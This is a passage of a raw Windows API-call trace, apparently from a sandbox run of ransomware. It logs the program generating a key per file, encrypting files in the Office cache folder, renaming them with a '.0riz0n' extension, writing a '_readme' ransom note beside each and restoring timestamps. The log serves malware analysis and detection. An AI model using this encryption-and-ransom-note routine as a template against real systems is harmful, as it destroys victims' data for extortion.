lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xedb6f0, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0087.302] GetLastError () returned 0x2 [0087.302] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0087.302] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0087.302] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0087.303] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0087.303] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x7) returned 0x30d278 [0087.303] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2e5, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2e5, lpOverlapped=0x0) returned 1 [0087.304] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x488baa90, dwHighDateTime=0x1d59598)) returned 1 [0087.304] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0087.304] NtClose (Handle=0x1f0) returned 0x0 [0087.304] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0087.304] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0087.304] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0087.304] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfa2210) returned 1 [0087.304] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0087.304] CryptDestroyKey (hKey=0x459b38) returned 1 [0087.304] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0087.304] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0087.304] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0087.304] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0087.304] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400)) returned 1 [0087.305] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0087.305] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0087.305] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0087.305] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0087.305] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0087.306] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0087.306] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0087.306] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400)) returned 1 [0087.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0087.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0087.306] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0087.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0087.306] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0087.306] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400)) returned 1 [0087.306] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0087.306] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0087.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0087.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0087.306] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0087.306] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0087.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0087.307] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xf5914a30, dwHighDateTime=0x1d301be)) returned 1 [0087.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0087.307] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0087.307] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0087.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0087.307] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0087.307] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0087.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0087.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0087.307] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0087.307] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0087.308] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x263400) returned 0x2350020 [0087.308] ReadFile (in: hFile=0x1f0, lpBuffer=0x2350020, nNumberOfBytesToRead=0x263400, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesRead=0x17af85c*=0x263400, lpOverlapped=0x0) returned 1 [0087.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x263400) returned 0x25c0020 [0087.458] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25c0020*, pdwDataLen=0x17af858*=0x263400, dwBufLen=0x263800 | out: pbData=0x25c0020*, pdwDataLen=0x17af858*=0x263410) returned 1 [0087.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x263440) returned 0x2830020 [0087.519] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0087.519] WriteFile (in: hFile=0x1f0, lpBuffer=0x2830020*, nNumberOfBytesToWrite=0x263400, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2830020*, lpNumberOfBytesWritten=0x17af85c*=0x263400, lpOverlapped=0x0) returned 1 [0087.543] FlushFileBuffers (hFile=0x1f0) returned 1 [0087.551] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0087.551] NtClose (Handle=0x1f0) returned 0x0 [0087.551] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.0riz0n")) returned 1 [0087.552] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.0riz0n", dwFileAttributes=0x2020) returned 1 [0087.552] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0087.552] GetLastError () returned 0x2 [0087.552] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xedb710, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0087.552] GetLastError () returned 0x2 [0087.552] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0087.553] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0087.553] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0087.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0087.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1b) returned 0xfcca98 [0087.554] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2f9, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2f9, lpOverlapped=0x0) returned 1 [0087.554] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x48b1c090, dwHighDateTime=0x1d59598)) returned 1 [0087.554] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0087.554] NtClose (Handle=0x1f0) returned 0x0 [0087.554] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0087.554] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0087.554] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0087.555] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2830020) returned 1 [0087.564] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0087.564] CryptDestroyKey (hKey=0x459b38) returned 1 [0087.564] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0087.564] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0087.564] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0087.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0087.565] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646)) returned 1 [0087.565] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0087.565] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0087.565] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0087.565] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0087.565] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0087.565] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0087.565] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0087.565] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646)) returned 1 [0087.565] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0087.565] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0087.565] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0087.565] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0087.565] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0087.565] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646)) returned 1 [0087.565] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0087.566] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0087.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0087.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0087.566] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0087.566] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0087.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0087.566] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xf58ed930, dwHighDateTime=0x1d301be)) returned 1 [0087.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0087.566] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0087.566] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0087.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0087.566] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0087.566] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0087.567] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0087.567] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0087.567] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0087.567] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0087.567] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x680) returned 0xef3f88 [0087.567] ReadFile (in: hFile=0x1f0, lpBuffer=0xef3f88, nNumberOfBytesToRead=0x646, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0xef3f88*, lpNumberOfBytesRead=0x17af85c*=0x646, lpOverlapped=0x0) returned 1 [0087.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x680) returned 0xf359e0 [0087.568] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1acf180*, pdwDataLen=0x17af858*=0x646, dwBufLen=0xa46 | out: pbData=0x1acf180*, pdwDataLen=0x17af858*=0x650) returned 1 [0087.569] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0087.569] WriteFile (in: hFile=0x1f0, lpBuffer=0xef3f88*, nNumberOfBytesToWrite=0x646, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0xef3f88*, lpNumberOfBytesWritten=0x17af85c*=0x646, lpOverlapped=0x0) returned 1 [0087.569] FlushFileBuffers (hFile=0x1f0) returned 1 [0087.572] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0087.572] NtClose (Handle=0x1f0) returned 0x0 [0087.572] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.0riz0n")) returned 1 [0087.572] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0087.573] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0087.573] GetLastError () returned 0x2 [0087.573] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xedb730, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0087.573] GetLastError () returned 0x2 [0087.573] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0087.573] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0087.573] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0087.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0087.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x13) returned 0x1baf768 [0087.574] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2f1, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2f1, lpOverlapped=0x0) returned 1 [0087.574] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x48b421f0, dwHighDateTime=0x1d59598)) returned 1 [0087.574] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0087.574] NtClose (Handle=0x1f0) returned 0x0 [0087.575] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0087.575] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0087.575] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, 